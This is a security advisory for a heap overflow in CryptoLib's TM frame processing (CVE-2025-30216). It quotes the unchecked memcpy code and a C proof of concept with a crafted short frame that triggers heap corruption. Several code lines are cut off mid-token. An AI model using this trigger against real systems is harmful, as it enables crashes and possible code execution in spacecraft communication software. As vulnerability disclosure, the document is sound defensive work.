Heap Overflow in Crypto_TM_ProcessSecurity due to Unchecked Secondary Header Length

Critical **jlucas9** published **GHSA-v3jc-5j74-hcjv** yesterday

Package	Affected versions	Patched versions
CryptoLib	<= 1.3.3	None

Description

Summary

A Heap Overflow vulnerability occurs in the `Crypto_TM_ProcessSecurity` function (`crypto_tm.c:1735:8`). When processing the Secondary Header Length of a TM protocol packet, if the Secondary Header Length exceeds the packet's total length, a heap overflow is triggered during the memcpy operation that copies packet data into the dynamically allocated buffer `p_new_dec_frame` . This allows an attacker to overwrite adjacent heap memory, potentially leading to arbitrary code execution or system instability.

Details

The `Crypto_TM_ProcessSecurity` function dynamically allocates a buffer (`p_new_dec_frame`) based on the packet length (`len_ingest`) and copies data into it using `memcpy` . The number of bytes to copy is calculated as the fixed Primary Header length (6 bytes) plus the variable **Secondary Header Length** (`secondary_hdr_len`). However, there is no validation to ensure that `6 + secondary_hdr_len` does not exceed the allocated buffer size (`len_ingest`).

```
if (status == CRYPTO_LIB_SUCCESS)
{
    // Allocate buffer
    p_new_dec_frame = (uint8_t*)calloc(1, (len_ingest) * sizeof(uint8_
    if (!p_new_dec_frame)
    {
        printf(KRED "Error: Calloc for decrypted output buffer failed
        status = CRYPTO_LIB_ERROR;
    }
}
```

Severity

Critical 9.4 / 10

CVSS v3 base metrics

Attack vector	Network
Attack complexity	Low
Privileges required	None
User interaction	None
Scope	Unchanged
Confidentiality	Low
Integrity	High
Availability	High

Learn more about base metrics

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H

CVE ID

CVE-2025-30216

Weaknesses

CWE-122

Credits

bshyuunn Analyst

Cheshire1225 Finder

```
if (status == CRYPTO_LIB_SUCCESS)
{
    // Copy TM Primary Header (6 bytes) and Secondary Header (if pres
    memcpy(p_new_dec_frame, &p_ingest[0], 6 + secondary_hdr_len);
}
```

The `secondary_hdr_len` value is determined in the `Crypto_TM_Process_Setup` function by reading the Secondary Header Length field from the packet and applying a bitwise operation (`& 0x3F`) to limit its maximum value to 64 bytes:

```
if (status == CRYPTO_LIB_SUCCESS)
{
    // Secondary Header flag is 1st bit of 5th byte (index 4)
    *byte_idx = 4;
    if ((p_ingest[*byte_idx] & 0x80) == 0x80)
    {
        // Secondary header is present
        *byte_idx = 6;
        // Determine length of secondary header
        *secondary_hdr_len = (p_ingest[*byte_idx] & 0x3F) + 1;
        *byte_idx += *secondary_hdr_len;
    }
    else
    {
        // No Secondary header
        *byte_idx = 6;
    }
}
```

While the `& 0x3F + 1` operation caps `secondary_hdr_len` at 64 bytes, there is no check to ensure that `6 + secondary_hdr_len` does not exceed the total packet length (`len_ingest`). If `len_ingest` is smaller than `6 + secondary_hdr_len` , the `memcpy` operation will write beyond the bounds of `p_new_dec_frame` , causing a heap overflow.

PoC

The C code below is provided to prove the occurrence of the vulnerability:

```
#include "ut_tm_process.h"

int main()
{
    uint8_t *ptr_processed_frame = NULL;
    uint16_t processed_tm_len;

    Crypto_Config_CryptoLib(KEY_TYPE_INTERNAL, MC_TYPE_INTERNAL, SA_T
                            IV_INTERNAL, CRYPTO_TC_CREATE_FECF_TRUE,
                            TC_IGNORE_SA_STATE_FALSE, TC_IGNORE_ANTI_
                            TC_CHECK_FECF_TRUE, 0x3F, SA_INCREMENT_NO
```

```
    GvcidManagedParameters_t TM_UT_Managed_Parameters = {
        0, 0x002c, 0, TM_HAS_FECF, AOS_FHEC_NA, AOS_IZ_NA, 0, TM_SEGM
    Crypto_Config_Add_Gvcid_Managed_Parameters(TM_UT_Managed_Paramete

    Crypto_Init();

    TC_t *tc_sdls_processed_frame;
    tc_sdls_processed_frame = malloc(sizeof(uint8_t) * TC_SIZE);
    memset(tc_sdls_processed_frame, 0, (sizeof(uint8_t) * TC_SIZE));

    char *framed_tm_h   = "02C000009800FF";
    char *framed_tm_b   = NULL;
    int   framed_tm_len = 0;
    hex_conversion(framed_tm_h, &framed_tm_b, &framed_tm_len);

    Crypto_TM_ProcessSecurity((uint8_t *)framed_tm_b, framed_tm_len, 

    free(framed_tm_b);
    free(tc_sdls_processed_frame);
    Crypto_Shutdown();
}
```

Additionally, the accompanying video demonstrates the impact of the vulnerability, showing the resulting heap corruption or crash on NOS3.
PoC.webm

Impact

- **Denial of Service (DoS):** The application may crash or become unstable due to the out-of-bounds memory access, disrupting service availability in systems relying on CryptoLib for TM packet processing.

corrupt adjacent memory structures (e.g., through heap spraying or precise memory layout manipulation), an attacker could achieve arbitrary code execution, compromising the system's integrity and security.